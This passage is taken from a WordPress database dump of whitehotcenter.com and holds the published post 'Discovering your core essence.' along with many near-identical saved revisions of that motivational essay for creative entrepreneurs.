leader.\r\n\r\nThis becomes the lens through which you assess all opportuntiy that comes your way. Once you discover and live by the character of your core essence, you’ll have the self-guidance and confidence to know what is a good fit for you and why your difference is relevant and highly valued by the world.  Go ahead give it some thought and please share your comments.', 'Discovering your core essence.', 0, '', 'publish', 'open', 'open', '', 'discovering-your-core-essence', '', '', '2013-03-14 16:44:24', '2013-03-14 23:44:24', '', 0, 'http://www.whitehotcenter.com/?p=2228', 0, 'post', '', 0),
(2229, 2, '2013-03-14 16:12:26', '2013-03-14 23:12:26', '', 'core essence', 0, '', 'inherit', 'open', 'open', '', 'core-essence', '', '', '2013-03-14 16:12:26', '2013-03-14 23:12:26', '', 2228, 'http://www.whitehotcenter.com/wp-content/uploads/2013/03/core-essence.jpg', 0, 'attachment', 'image/jpeg', 0),
(2230, 2, '2013-03-14 16:23:59', '2013-03-14 23:23:59', '<img class="alignnone size-full wp-image-2229" title="core essence" src="http://whc.fbdev.org/wp-content/uploads/2013/03/core-essence.jpg" alt="" width="500" height="208" />\n<h1><span style="color: #808080;">One of the key principles of the White Hot Center Manifesto is to “be different and make a difference”.  The first step in being different is to recognize that you are unique–similar in form but different and distinguished from all others.</span></h1>\nTo be different and make a difference requires an introspective look at what I’ll call your “core essence”– your unique set of attributes, abilities and special gifts that separates and distinguishes you from others. Only from your core essence will you be able to be truly different and make a difference in the world.\n\nYour core essence is something special used to connect your gifts and talents to a need in the world. It is a special something only you have that fulfills your own purpose and provides what the world lacks. You are joined with others because the world sees your essence as the solution.\n\nI remember early in my business career how important it was for me to “fit in” and be perceived by business associates and prospective clients as one of them. So I dressed like them, hung out where they hung out, talked like them, walked like them, joined their organizations, attended their social functions, and generally crafted my whole persona to be “like them”.  I held tight to the belief my success was based solely on my ability to fit their mold and conform to the standards of the conventional wisdom. I worked very hard at this for nearly two decades. Yet no matter how hard I tried, I never felt “right” and I never really fit in anywhere.\n<h3><strong>The truth within.</strong></h3>\nAs a creative entrepreneur, any value you bring to the world is only credible when it reflects the essential truth of your unique, special and compelling gifts. Your core essence is how you add value, and it provides the reason people will follow you, like you, tweet you, trust you, and do business with you.  It comes from within you and nowhere else. You can’t wear your core essence like a uniform-people will see right through you!\n<h2>The big question is: How do you choose from among all the facets of who you are to truly know (with enduring confidence) what your core essence is?</h2>\nThe search for your core essence is an inner quest to find, and more importantly, to believe in your unique and compelling gifts. Discovering your core essence requires discipline and self-confidence. Without this inner self-wisdom there is no real clarity about where you can best make a difference in the world.  Without this connection to your white hot center you will be adrift from yourself.\n\n<strong>Get a shovel and start digging.</strong>\n\nEssentially the discovery of your core essence will require some digging on your part.  Like an archeological dig, you’ll have to sift through the layers of your beliefs and values looking for the bits and pieces that comprise your special gifts, talents and natural inclinations.\n\nYou can start by asking a few basic questions of those close to you and know you intimately–people who are your raving fans and adore you. Ask them to describe your strengths, talents, and your special qualities. Keep it simple. The result will always be illuminating, clarifying and confidence building.\n\nWith that information in hand, you can go a level deeper into your own introspection by asking yourself some simple but probing questions that will call upon you to be decisive about who and what you are. Here’s a list to get your process started:\n\n<strong>I am unique because I ...</strong>\n\n<strong>People know me to be  ...</strong>\n\n<strong>I am good at ...</strong>\n\n<strong>I feel most fulfilled and satisfied when I am doing ...</strong>\n\n<strong>What makes me special is my ...</strong>\n\n<strong>I will not compromise on ...</strong>\n\n<strong>I am grateful for ...</strong>\n\nTake your time with this. You may experience a little writer’s block at first. Allow yourself to be open and honest as you ask yourself these and other questions you may come up with. Discovering your core essence is a decisive act, not a compromise, or a consensus of group think.  When you have the answers to those questions, develop a list of word associations that will best describe your essence. You may find it helpful to settle on the expression of your core essence as a simple description in the form of adjective, adjective, noun. For example, my own core essence is described as follows:\n\nCreative, visionary leader.\n\nThis becomes the lens through which you assess all opportuntiyOnce you discover and live by the character of your core essence, you’ll have the self-guidance and confidence to know why your difference is relevant and highly valued by the world.  Go ahead give it some thought and please share your comments.', 'Discovering your core essence.', 0, '', 'inherit', 'open', 'open', '', '2228-revision', '', '', '2013-03-14 16:23:59', '2013-03-14 23:23:59', '', 2228, 'http://www.whitehotcenter.com/2013/03/2228-revision/', 0, 'revision', '', 0),
(2231, 2, '2013-03-14 16:24:41', '2013-03-14 23:24:41', '<img class="alignnone size-full wp-image-2229" title="core essence" src="http://whc.fbdev.org/wp-content/uploads/2013/03/core-essence.jpg" alt="" width="500" height="208" />\r\n<h1><span style="color: #808080;">One of the key principles of the White Hot Center Manifesto is to “be different and make a difference”.  The first step in being different is to recognize that you are unique–similar in form but different and distinguished from all others.</span></h1>\r\nTo be different and make a difference requires an introspective look at what I’ll call your “core essence”– your unique set of attributes, abilities and special gifts that separates and distinguishes you from others. Only from your core essence will you be able to be truly different and make a difference in the world.\r\n\r\nYour core essence is something special used to connect your gifts and talents to a need in the world. It is a special something only you have that fulfills your own purpose and provides what the world lacks. You are joined with others because the world sees your essence as the solution.\r\n\r\nI remember early in my business career how important it was for me to “fit in” and be perceived by business associates and prospective clients as one of them. So I dressed like them, hung out where they hung out, talked like them, walked like them, joined their organizations, attended their social functions, and generally crafted my whole persona to be “like them”.  I held tight to the belief my success was based solely on my ability to fit their mold and conform to the standards of the conventional wisdom. I worked very hard at this for nearly two decades. Yet no matter how hard I tried, I never felt “right” and I never really fit in anywhere.\r\n<h3><strong>The truth within.</strong></h3>\r\nAs a creative entrepreneur, any value you bring to the world is only credible when it reflects the essential truth of your unique, special and compelling gifts. Your core essence is how you add value, and it provides the reason people will follow you, like you, tweet you, trust you, and do business with you.  It comes from within you and nowhere else. You can’t wear your core essence like a uniform-people will see right through you!\r\n<h2>The big question is: How do you choose from among all the facets of who you are to truly know (with enduring confidence) what your core essence is?</h2>\r\nThe search for your core essence is an inner quest to find, and more importantly, to believe in your unique and compelling gifts. Discovering your core essence requires discipline and self-confidence. Without this inner self-wisdom there is no real clarity about where you can best make a difference in the world.  Without this connection to your white hot center you will be adrift from yourself.\r\n\r\n<strong>Get a shovel and start digging.</strong>\r\n\r\nEssentially the discovery of your core essence will require some digging on your part.  Like an archeological dig, you’ll have to sift through the layers of your beliefs and values looking for the bits and pieces that comprise your special gifts, talents and natural inclinations.\r\n\r\nYou can start by asking a few basic questions of those close to you and know you intimately–people who are your raving fans and adore you. Ask them to describe your strengths, talents, and your special qualities. Keep it simple. The result will always be illuminating, clarifying and confidence building.\r\n\r\nWith that information in hand, you can go a level deeper into your own introspection by asking yourself some simple but probing questions that will call upon you to be decisive about who and what you are. Here’s a list to get your process started:\r\n\r\n<strong>I am unique because I ...</strong>\r\n\r\n<strong>People know me to be  ...</strong>\r\n\r\n<strong>I am good at ...</strong>\r\n\r\n<strong>I feel most fulfilled and satisfied when I am doing ...</strong>\r\n\r\n<strong>What makes me special is my ...</strong>\r\n\r\n<strong>I will not compromise on ...</strong>\r\n\r\n<strong>I am grateful for ...</strong>\r\n\r\nTake your time with this. You may experience a little writer’s block at first. Allow yourself to be open and honest as you ask yourself these and other questions you may come up with. Discovering your core essence is a decisive act, not a compromise, or a consensus of group think.  When you have the answers to those questions, develop a list of word associations that will best describe your essence. You may find it helpful to settle on the expression of your core essence as a simple description in the form of adjective, adjective, noun. For example, my own core essence is described as follows:\r\n\r\nCreative, visionary leader.\r\n\r\nThis becomes the lens through which you assess all opportuntiy that comes your way. Once you discover and live by the character of your core essence, you’ll have the self-guidance and confidence to know what is a good fit for you and why your difference is relevant and highly valued by the world.  Go ahead give it some thought and please share your comments.', 'Discovering your core essence.', 0, '', 'inherit', 'open', 'open', '', '2228-revision-2', '', '', '2013-03-14 16:24:41', '2013-03-14 23:24:41', '', 2228, 'http://www.whitehotcenter.com/2013/03/2228-revision-2/', 0, 'revision', '', 0),
(2232, 2, '2013-03-14 16:24:52', '2013-03-14 23:24:52', '<img class="alignnone size-full wp-image-2229" title="core essence" src="http://whc.fbdev.org/wp-content/uploads/2013/03/core-essence.jpg" alt="" width="500" height="208" />\r\n<h1><span style="color: #808080;">One of the key principles of the White Hot Center Manifesto is to “be different and make a difference”.  The first step in being different is to recognize that you are unique–similar in form but different and distinguished from all others.</span></h1>\r\nTo be different and make a difference requires an introspective look at what I’ll call your “core essence”– your unique set of attributes, abilities and special gifts that separates and distinguishes you from others. Only from your core essence will you be able to be truly different and make a difference in the world.\r\n\r\nYour core essence is something special used to connect your gifts and talents to a need in the world. It is a special something only you have that fulfills your own purpose and provides what the world lacks. You are joined with others because the world sees your essence as the solution.\r\n\r\nI remember early in my business career how important it was for me to “fit in” and be perceived by business associates and prospective clients as one of them. So I dressed like them, hung out where they hung out, talked like them, walked like them, joined their organizations, attended their social functions, and generally crafted my whole persona to be “like them”.  I held tight to the belief my success was based solely on my ability to fit their mold and conform to the standards of the conventional wisdom. I worked very hard at this for nearly two decades. Yet no matter how hard I tried, I never felt “right” and I never really fit in anywhere.\r\n<h3><strong>The truth within.</strong></h3>\r\nAs a creative entrepreneur, any value you bring to the world is only credible when it reflects the essential truth of your unique, special and compelling gifts. Your core essence is how you add value, and it provides the reason people will follow you, like you, tweet you, trust you, and do business with you.  It comes from within you and nowhere else. You can’t wear your core essence like a uniform-people will see right through you!\r\n<h2>The big question is: How do you choose from among all the facets of who you are to truly know (with enduring confidence) what your core essence is?</h2>\r\nThe search for your core essence is an inner quest to find, and more importantly, to believe in your unique and compelling gifts. Discovering your core essence requires discipline and self-confidence. Without this inner self-wisdom there is no real clarity about where you can best make a difference in the world.  Without this connection to your white hot center you will be adrift from yourself.\r\n\r\n<strong>Get a shovel and start digging.</strong>\r\n\r\nEssentially the discovery of your core essence will require some digging on your part.  Like an archeological dig, you’ll have to sift through the layers of your beliefs and values looking for the bits and pieces that comprise your special gifts, talents and natural inclinations.\r\n\r\nYou can start by asking a few basic questions of those close to you and know you intimately–people who are your raving fans and adore you. Ask them to describe your strengths, talents, and your special qualities. Keep it simple. The result will always be illuminating, clarifying and confidence building.\r\n\r\nWith that information in hand, you can go a level deeper into your own introspection by asking yourself some simple but probing questions that will call upon you to be decisive about who and what you are. Here’s a list to get your process started:\r\n\r\n<strong>I am unique because I ...</strong>\r\n\r\n<strong>People know me to be  ...</strong>\r\n\r\n<strong>I am good at ...</strong>\r\n\r\n<strong>I feel most fulfilled and satisfied when I am doing ...</strong>\r\n\r\n<strong>What makes me special is my ...</strong>\r\n\r\n<strong>I will not compromise on ...</strong>\r\n\r\n<strong>I am grateful for ...</strong>\r\n\r\nTake your time with this. You may experience a little writer’s block at first. Allow yourself to be open and honest as you ask yourself these and other questions you may come up with. Discovering your core essence is a decisive act, not a compromise, or a consensus of group think.  When you have the answers to those questions, develop a list of word associations that will best describe your essence. You may find it helpful to settle on the expression of your core essence as a simple description in the form of adjective, adjective, noun. For example, my own core essence is described as follows:\r\n\r\nCreative, visionary leader.\r\n\r\nThis becomes the lens through which you assess all opportuntiy that comes your way. Once you discover and live by the character of your core essence, you’ll have the self-guidance and confidence to know what is a good fit for you and why your difference is relevant and highly valued by the world.  Go ahead give it some thought and please share your comments.', 'Discovering your core essence.', 0, '', 'inherit', 'open', 'open', '', '2228-revision-3', '', '', '2013-03-14 16:24:52', '2013-03-14 23:24:52', '', 2228, 'http://www.whitehotcenter.com/2013/03/2228-revision-3/', 0, 'revision', '', 0);
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(2237, 2, '2013-03-14 16:33:54', '2013-03-14 23:33:54', '<img class="alignnone size-full wp-image-2229" title="core essence" src="http://whc.fbdev.org/wp-content/uploads/2013/03/core-essence.jpg" alt="" width="500" height="208" />\n<h1><span style="color: #808080;">One of the key principles of the White Hot Center Manifesto is to “be different and make a difference”. The first step in being different is to recognize that you are unique–similar in form but different and distinguished from all others.</span></h1>\nTo be different and make a difference requires an introspective look at what I’ll call your “core essence”– your unique set of attributes, abilities and special gifts that separates and distinguishes you from others. Only from your core essence will you be able to be truly different and make a difference in the world.\n\nYour core essence is something special used to connect your gifts and talents to a need in the world. It is a special something only you have that fulfills your own purpose and provides what the world lacks. You are joined with others because the world sees your essence as the solution.\n\nI remember early in my business career how important it was for me to “fit in” and be perceived by business associates and prospective clients as one of them. So I dressed like them, hung out where they hung out, talked like them, walked like them, joined their organizations, attended their social functions, and generally crafted my whole persona to be “like them”.  I held tight to the belief my success was based solely on my ability to fit their mold and conform to the standards of the conventional wisdom. I worked very hard at this for nearly two decades. Yet no matter how hard I tried, I never felt “right” and I never really fit in anywhere.\n<h3><strong>The truth within.</strong></h3>\nAs a creative entrepreneur, any value you bring to the world is only credible when it reflects the essential truth of your unique, special and compelling gifts. Your core essence is how you add value, and it provides the reason people will follow you, like you, tweet you, trust you, and do business with you.  It comes from within you and nowhere else. You can’t wear your core essence like a uniform-people will see right through you!\n<h2>The big question is: How do you choose from among all the facets of who you are to truly know (with enduring confidence) what your core essence is?</h2>\nThe search for your core essence is an inner quest to find, and more importantly, to believe in your unique and compelling gifts. Discovering your core essence requires discipline and self-confidence. Without this inner self-wisdom there is no real clarity about where you can best make a difference in the world.  Without this connection to your white hot center you will be adrift from yourself.\n<h3><strong>Get a shovel and start digging.</strong></h3>\nEssentially the discovery of your core essence will require some digging on your part.  Like an archeological dig, you’ll have to sift through the layers of your beliefs and values looking for the bits and pieces that comprise your special gifts, talents and natural inclinations.\n\nYou can start by asking a few basic questions of those close to you, who know you intimately–people who are your raving fans and adore you. Ask them to describe your strengths, talents, and your special qualities. Keep it simple. The result will always be illuminating, clarifying and confidence building.\n\nWith that information in hand, you can go a level deeper into your own introspection by asking yourself some simple but probing questions that will call upon you to be decisive about who and what you are. Here’s a list to get your process started:\n\n<strong>I am unique because I ...</strong>\n\n<strong>People know me to be  ...</strong>\n\n<strong>I am good at ...</strong>\n\n<strong>I feel most fulfilled and satisfied when I am doing ...</strong>\n\n<strong>What makes me special is my ...</strong>\n\n<strong>I will not compromise on ...</strong>\n\n<strong>I am grateful for ...</strong>\n\nTake your time with this. You may experience a little writer’s block at first. Allow yourself to be open and honest as you ask yourself these and other questions you may come up with. Discovering your core essence is a decisive act, not a compromise, or a consensus of group think.  When you have the answers to those questions, develop a list of word associations that will best describe your essence. You may find it helpful to settle on the expression of your core essence as a simple description in the form of adjective, adjective, noun. For example, my own core essence is described as follows:\n\nCreative, visionary leader.\n\nThis becomes the lens through which you assess all opportuntiy that comes your way. Once you discover and live by the character of your core essence, you’ll have the self-guidance and confidence to know what is a good fit for you and why your difference is relevant and highly valued by the world.  Go ahead give it some thought and please share your comments.', 'Discovering your core essence.', 0, '', 'inherit', 'open', 'open', '', '2228-revision-8', '', '', '2013-03-14 16:33:54', '2013-03-14 23:33:54', '', 2228, 'http://www.whitehotcenter.com/2013/03/2228-revision-8/', 0, 'revision', '', 0),
(2233, 2, '2013-03-14 16:27:51', '2013-03-14 23:27:51', '<img class="alignnone size-full wp-image-2229" title="core essence" src="http://whc.fbdev.org/wp-content/uploads/2013/03/core-essence.jpg" alt="" width="500" height="208" />\r\n<h1><span style="color: #808080;">One of the key principles of the White Hot Center Manifesto is to “be different and make a difference”.  The first step in being different is to recognize that you are unique–similar in form but different and distinguished from all others.</span></h1>\r\nTo be different and make a difference requires an introspective look at what I’ll call your “core essence”– your unique set of attributes, abilities and special gifts that separates and distinguishes you from others. Only from your core essence will you be able to be truly different and make a difference in the world.\r\n\r\nYour core essence is something special used to connect your gifts and talents to a need in the world. It is a special something only you have that fulfills your own purpose and provides what the world lacks. You are joined with others because the world sees your essence as the solution.\r\n\r\nI remember early in my business career how important it was for me to “fit in” and be perceived by business associates and prospective clients as one of them. So I dressed like them, hung out where they hung out, talked like them, walked like them, joined their organizations, attended their social functions, and generally crafted my whole persona to be “like them”.  I held tight to the belief my success was based solely on my ability to fit their mold and conform to the standards of the conventional wisdom. I worked very hard at this for nearly two decades. Yet no matter how hard I tried, I never felt “right” and I never really fit in anywhere.\r\n<h3><strong>The truth within.</strong></h3>\r\nAs a creative entrepreneur, any value you bring to the world is only credible when it reflects the essential truth of your unique, special and compelling gifts. Your core essence is how you add value, and it provides the reason people will follow you, like you, tweet you, trust you, and do business with you.  It comes from within you and nowhere else. You can’t wear your core essence like a uniform-people will see right through you!\r\n<h2>The big question is: How do you choose from among all the facets of who you are to truly know (with enduring confidence) what your core essence is?</h2>\r\nThe search for your core essence is an inner quest to find, and more importantly, to believe in your unique and compelling gifts. Discovering your core essence requires discipline and self-confidence. Without this inner self-wisdom there is no real clarity about where you can best make a difference in the world.  Without this connection to your white hot center you will be adrift from yourself.\r\n<h3><strong>Get a shovel and start digging.</strong></h3>\r\nEssentially the discovery of your core essence will require some digging on your part.  Like an archeological dig, you’ll have to sift through the layers of your beliefs and values looking for the bits and pieces that comprise your special gifts, talents and natural inclinations.\r\n\r\nYou can start by asking a few basic questions of those close to you and know you intimately–people who are your raving fans and adore you. Ask them to describe your strengths, talents, and your special qualities. Keep it simple. The result will always be illuminating, clarifying and confidence building.\r\n\r\nWith that information in hand, you can go a level deeper into your own introspection by asking yourself some simple but probing questions that will call upon you to be decisive about who and what you are. Here’s a list to get your process started:\r\n\r\n<strong>I am unique because I ...</strong>\r\n\r\n<strong>People know me to be  ...</strong>\r\n\r\n<strong>I am good at ...</strong>\r\n\r\n<strong>I feel most fulfilled and satisfied when I am doing ...</strong>\r\n\r\n<strong>What makes me special is my ...</strong>\r\n\r\n<strong>I will not compromise on ...</strong>\r\n\r\n<strong>I am grateful for ...</strong>\r\n\r\nTake your time with this. You may experience a little writer’s block at first. Allow yourself to be open and honest as you ask yourself these and other questions you may come up with. Discovering your core essence is a decisive act, not a compromise, or a consensus of group think.  When you have the answers to those questions, develop a list of word associations that will best describe your essence. You may find it helpful to settle on the expression of your core essence as a simple description in the form of adjective, adjective, noun. For example, my own core essence is described as follows:\r\n\r\nCreative, visionary leader.\r\n\r\nThis becomes the lens through which you assess all opportuntiy that comes your way. Once you discover and live by the character of your core essence, you’ll have the self-guidance and confidence to know what is a good fit for you and why your difference is relevant and highly valued by the world.  Go ahead give it some thought and please share your comments.', 'Discovering your core essence.', 0, '', 'inherit', 'open', 'open', '', '2228-revision-4', '', '', '2013-03-14 16:27:51', '2013-03-14 23:27:51', '', 2228, 'http://www.whitehotcenter.com/2013/03/2228-revision-4/', 0, 'revision', '', 0),
(2234, 2, '2013-03-14 16:28:04', '2013-03-14 23:28:04', '<img class="alignnone size-full wp-image-2229" title="core essence" src="http://whc.fbdev.org/wp-content/uploads/2013/03/core-essence.jpg" alt="" width="500" height="208" />\r\n<h1><span style="color: #808080;">One of the key principles of the White Hot Center Manifesto is to “be different and make a difference”.  The first step in being different is to recognize that you are unique–similar in form but different and distinguished from all others.</span></h1>\r\nTo be different and make a difference requires an introspective look at what I’ll call your “core essence”– your unique set of attributes, abilities and special gifts that separates and distinguishes you from others. Only from your core essence will you be able to be truly different and make a difference in the world.\r\n\r\nYour core essence is something special used to connect your gifts and talents to a need in the world. It is a special something only you have that fulfills your own purpose and provides what the world lacks. You are joined with others because the world sees your essence as the solution.\r\n\r\nI remember early in my business career how important it was for me to “fit in” and be perceived by business associates and prospective clients as one of them. So I dressed like them, hung out where they hung out, talked like them, walked like them, joined their organizations, attended their social functions, and generally crafted my whole persona to be “like them”.  I held tight to the belief my success was based solely on my ability to fit their mold and conform to the standards of the conventional wisdom. I worked very hard at this for nearly two decades. Yet no matter how hard I tried, I never felt “right” and I never really fit in anywhere.\r\n<h3><strong>The truth within.</strong></h3>\r\nAs a creative entrepreneur, any value you bring to the world is only credible when it reflects the essential truth of your unique, special and compelling gifts. Your core essence is how you add value, and it provides the reason people will follow you, like you, tweet you, trust you, and do business with you.  It comes from within you and nowhere else. You can’t wear your core essence like a uniform-people will see right through you!\r\n<h2>The big question is: How do you choose from among all the facets of who you are to truly know (with enduring confidence) what your core essence is?</h2>\r\nThe search for your core essence is an inner quest to find, and more importantly, to believe in your unique and compelling gifts. Discovering your core essence requires discipline and self-confidence. Without this inner self-wisdom there is no real clarity about where you can best make a difference in the world.  Without this connection to your white hot center you will be adrift from yourself.\r\n<h3><strong>Get a shovel and start digging.</strong></h3>\r\nEssentially the discovery of your core essence will require some digging on your part.  Like an archeological dig, you’ll have to sift through the layers of your beliefs and values looking for the bits and pieces that comprise your special gifts, talents and natural inclinations.\r\n\r\nYou can start by asking a few basic questions of those close to you and know you intimately–people who are your raving fans and adore you. Ask them to describe your strengths, talents, and your special qualities. Keep it simple. The result will always be illuminating, clarifying and confidence building.\r\n\r\nWith that information in hand, you can go a level deeper into your own introspection by asking yourself some simple but probing questions that will call upon you to be decisive about who and what you are. Here’s a list to get your process started:\r\n\r\n<strong>I am unique because I ...</strong>\r\n\r\n<strong>People know me to be  ...</strong>\r\n\r\n<strong>I am good at ...</strong>\r\n\r\n<strong>I feel most fulfilled and satisfied when I am doing ...</strong>\r\n\r\n<strong>What makes me special is my ...</strong>\r\n\r\n<strong>I will not compromise on ...</strong>\r\n\r\n<strong>I am grateful for ...</strong>\r\n\r\nTake your time with this. You may experience a little writer’s block at first. Allow yourself to be open and honest as you ask yourself these and other questions you may come up with. Discovering your core essence is a decisive act, not a compromise, or a consensus of group think.  When you have the answers to those questions, develop a list of word associations that will best describe your essence. You may find it helpful to settle on the expression of your core essence as a simple description in the form of adjective, adjective, noun. For example, my own core essence is described as follows:\r\n\r\nCreative, visionary leader.\r\n\r\nThis becomes the lens through which you assess all opportuntiy that comes your way. Once you discover and live by the character of your core essence, you’ll have the self-guidance and confidence to know what is a good fit for you and why your difference is relevant and highly valued by the world.  Go ahead give it some thought and please share your comments.', 'Discovering your core essence.', 0, '', 'inherit', 'open', 'open', '', '2228-revision-5', '', '', '2013-03-14 16:28:04', '2013-03-14 23:28:04', '', 2228, 'http://www.whitehotcenter.com/2013/03/2228-revision-5/', 0, 'revision', '', 0),
(2235, 2, '2013-03-14 16:28:55', '2013-03-14 23:28:55', '<img class="alignnone size-full wp-image-2229" title="core essence" src="http://whc.fbdev.org/wp-content/uploads/2013/03/core-essence.jpg" alt="" width="500" height="208" />\r\n<h1><span style="color: #808080;">One of the key principles of the White Hot Center Manifesto is to “be different and make a difference”. The first step in being different is to recognize that you are unique–similar in form but different and distinguished from all others.</span></h1>\r\nTo be different and make a difference requires an introspective look at what I’ll call your “core essence”– your unique set of attributes, abilities and special gifts that separates and distinguishes you from others. Only from your core essence will you be able to be truly different and make a difference in the world.\r\n\r\nYour core essence is something special used to connect your gifts and talents to a need in the world. It is a special something only you have that fulfills your own purpose and provides what the world lacks. You are joined with others because the world sees your essence as the solution.\r\n\r\nI remember early in my business career how important it was for me to “fit in” and be perceived by business associates and prospective clients as one of them. So I dressed like them, hung out where they hung out, talked like them, walked like them, joined their organizations, attended their social functions, and generally crafted my whole persona to be “like them”.  I held tight to the belief my success was based solely on my ability to fit their mold and conform to the standards of the conventional wisdom. I worked very hard at this for nearly two decades. Yet no matter how hard I tried, I never felt “right” and I never really fit in anywhere.\r\n<h3><strong>The truth within.</strong></h3>\r\nAs a creative entrepreneur, any value you bring to the world is only credible when it reflects the essential truth of your unique, special and compelling gifts. Your core essence is how you add value, and it provides the reason people will follow you, like you, tweet you, trust you, and do business with you.  It comes from within you and nowhere else. You can’t wear your core essence like a uniform-people will see right through you!\r\n<h2>The big question is: How do you choose from among all the facets of who you are to truly know (with enduring confidence) what your core essence is?</h2>\r\nThe search for your core essence is an inner quest to find, and more importantly, to believe in your unique and compelling gifts. Discovering your core essence requires discipline and self-confidence. Without this inner self-wisdom there is no real clarity about where you can best make a difference in the world.  Without this connection to your white hot center you will be adrift from yourself.\r\n<h3><strong>Get a shovel and start digging.</strong></h3>\r\nEssentially the discovery of your core essence will require some digging on your part.  Like an archeological dig, you’ll have to sift through the layers of your beliefs and values looking for the bits and pieces that comprise your special gifts, talents and natural inclinations.\r\n\r\nYou can start by asking a few basic questions of those close to you and know you intimately–people who are your raving fans and adore you. Ask them to describe your strengths, talents, and your special qualities. Keep it simple. The result will always be illuminating, clarifying and confidence building.\r\n\r\nWith that information in hand, you can go a level deeper into your own introspection by asking yourself some simple but probing questions that will call upon you to be decisive about who and what you are. Here’s a list to get your process started:\r\n\r\n<strong>I am unique because I ...</strong>\r\n\r\n<strong>People know me to be  ...</strong>\r\n\r\n<strong>I am good at ...</strong>\r\n\r\n<strong>I feel most fulfilled and satisfied when I am doing ...</strong>\r\n\r\n<strong>What makes me special is my ...</strong>\r\n\r\n<strong>I will not compromise on ...</strong>\r\n\r\n<strong>I am grateful for ...</strong>\r\n\r\nTake your time with this. You may experience a little writer’s block at first. Allow yourself to be open and honest as you ask yourself these and other questions you may come up with. Discovering your core essence is a decisive act, not a compromise, or a consensus of group think.  When you have the answers to those questions, develop a list of word associations that will best describe your essence. You may find it helpful to settle on the expression of your core essence as a simple description in the form of adjective, adjective, noun. For example, my own core essence is described as follows:\r\n\r\nCreative, visionary leader.\r\n\r\nThis becomes the lens through which you assess all opportuntiy that comes your way. Once you discover and live by the character of your core essence, you’ll have the self-guidance and confidence to know what is a good fit for you and why your difference is relevant and highly valued by the world.  Go ahead give it some thought and please share your comments.', 'Discovering your core essence.', 0, '', 'inherit', 'open', 'open', '', '2228-revision-6', '', '', '2013-03-14 16:28:55', '2013-03-14 23:28:55', '', 2228, 'http://www.whitehotcenter.com/2013/03/2228-revision-6/', 0, 'revision', '', 0),
(2236, 2, '2013-03-14 16:29:13', '2013-03-14 23:29:13', '<img class="alignnone size-full wp-image-2229" title="core essence" src="http://whc.fbdev.org/wp-content/uploads/2013/03/core-essence.jpg" alt="" width="500" height="208" />\r\n<h1><span style="color: #808080;">One of the key principles of the White Hot Center Manifesto is to “be different and make a difference”. The first step in being different is to recognize that you are unique–similar in form but different and distinguished from all others.</span></h1>\r\nTo be different and make a difference requires an introspective look at what I’ll call your “core essence”– your unique set of attributes, abilities and special gifts that separates and distinguishes you from others. Only from your core essence will you be able to be truly different and make a difference in the world.\r\n\r\nYour core essence is something special used to connect your gifts and talents to a need in the world. It is a special something only you have that fulfills your own purpose and provides what the world lacks. You are joined with others because the world sees your essence as the solution.\r\n\r\nI remember early in my business career how important it was for me to “fit in” and be perceived by business associates and prospective clients as one of them. So I dressed like them, hung out where they hung out, talked like them, walked like them, joined their organizations, attended their social functions, and generally crafted my whole persona to be “like them”.  I held tight to the belief my success was based solely on my ability to fit their mold and conform to the standards of the conventional wisdom. I worked very hard at this for nearly two decades. Yet no matter how hard I tried, I never felt “right” and I never really fit in anywhere.\r\n<h3><strong>The truth within.</strong></h3>\r\nAs a creative entrepreneur, any value you bring to the world is only credible when it reflects the essential truth of your unique, special and compelling gifts. Your core essence is how you add value, and it provides the reason people will follow you, like you, tweet you, trust you, and do business with you.  It comes from within you and nowhere else. You can’t wear your core essence like a uniform-people will see right through you!\r\n<h2>The big question is: How do you choose from among all the facets of who you are to truly know (with enduring confidence) what your core essence is?</h2>\r\nThe search for your core essence is an inner quest to find, and more importantly, to believe in your unique and compelling gifts. Discovering your core essence requires discipline and self-confidence. Without this inner self-wisdom there is no real clarity about where you can best make a difference in the world.  Without this connection to your white hot center you will be adrift from yourself.\r\n<h3><strong>Get a shovel and start digging.</strong></h3>\r\nEssentially the discovery of your core essence will require some digging on your part.  Like an archeological dig, you’ll have to sift through the layers of your beliefs and values looking for the bits and pieces that comprise your special gifts, talents and natural inclinations.\r\n\r\nYou can start by asking a few basic questions of those close to you and know you intimately–people who are your raving fans and adore you. Ask them to describe your strengths, talents, and your special qualities. Keep it simple. The result will always be illuminating, clarifying and confidence building.\r\n\r\nWith that information in hand, you can go a level deeper into your own introspection by asking yourself some simple but probing questions that will call upon you to be decisive about who and what you are. Here’s a list to get your process started:\r\n\r\n<strong>I am unique because I ...</strong>\r\n\r\n<strong>People know me to be  ...</strong>\r\n\r\n<strong>I am good at ...</strong>\r\n\r\n<strong>I feel most fulfilled and satisfied when I am doing ...</strong>\r\n\r\n<strong>What makes me special is my ...</strong>\r\n\r\n<strong>I will not compromise on ...</strong>\r\n\r\n<strong>I am grateful for ...</strong>\r\n\r\nTake your time with this. You may experience a little writer’s block at first. Allow yourself to be open and honest as you ask yourself these and other questions you may come up with. Discovering your core essence is a decisive act, not a compromise, or a consensus of group think.  When you have the answers to those questions, develop a list of word associations that will best describe your essence. You may find it helpful to settle on the expression of your core essence as a simple description in the form of adjective, adjective, noun. For example, my own core essence is described as follows:\r\n\r\nCreative, visionary leader.\r\n\r\nThis becomes the lens through which you assess all opportuntiy that comes your way. Once you discover and live by the character of your core essence, you’ll have the self-guidance and confidence to know what is a good fit for you and why your difference is relevant and highly valued by the world.  Go ahead give it some thought and please share your comments.', 'Discovering your core essence.', 0, '', 'inherit', 'open', 'open', '', '2228-revision-7', '', '', '2013-03-14 16:29:13', '2013-03-14 23:29:13', '', 2228, 'http://www.whitehotcenter.com/2013/03/2228-revision-7/', 0, 'revision', '', 0),
(2238, 2, '2013-03-14 16:39:06', '2013-03-14 23:39:06', '<img class="alignnone size-full wp-image-2229" title="core essence" src="http://whc.fbdev.org/wp-content/uploads/2013/03/core-essence.jpg" alt="" width="500" height="208" />\r\n<h1><span style="color: #808080;">One of the key principles of the White Hot Center Manifesto is to “be different and make a difference”. The first step in being different is to recognize that you are unique–similar in form but different and distinguished from all others.</span></h1>\r\nTo be different and make a difference requires an introspective look at what I’ll call your “core essence”– your unique set of attributes, abilities and special gifts that separates and distinguishes you from others. Only from your core essence will you be able to be truly different and make a difference in the world.\r\n\r\nYour core essence is something special used to connect your gifts and talents to a need in the world. It is a special something only you have that fulfills your own purpose and provides what the world lacks. You are joined with others because the world sees your essence as the solution.\r\n\r\nI remember early in my business career how important it was for me to “fit in” and be perceived by business associates and prospective clients as one of them. So I dressed like them, hung out where they hung out, talked like them, walked like them, joined their organizations, attended their social functions, and generally crafted my whole persona to be “like them”.  I held tight to the belief my success was based solely on my ability to fit their mold and conform to the standards of the conventional wisdom. I worked very hard at this for nearly two decades. 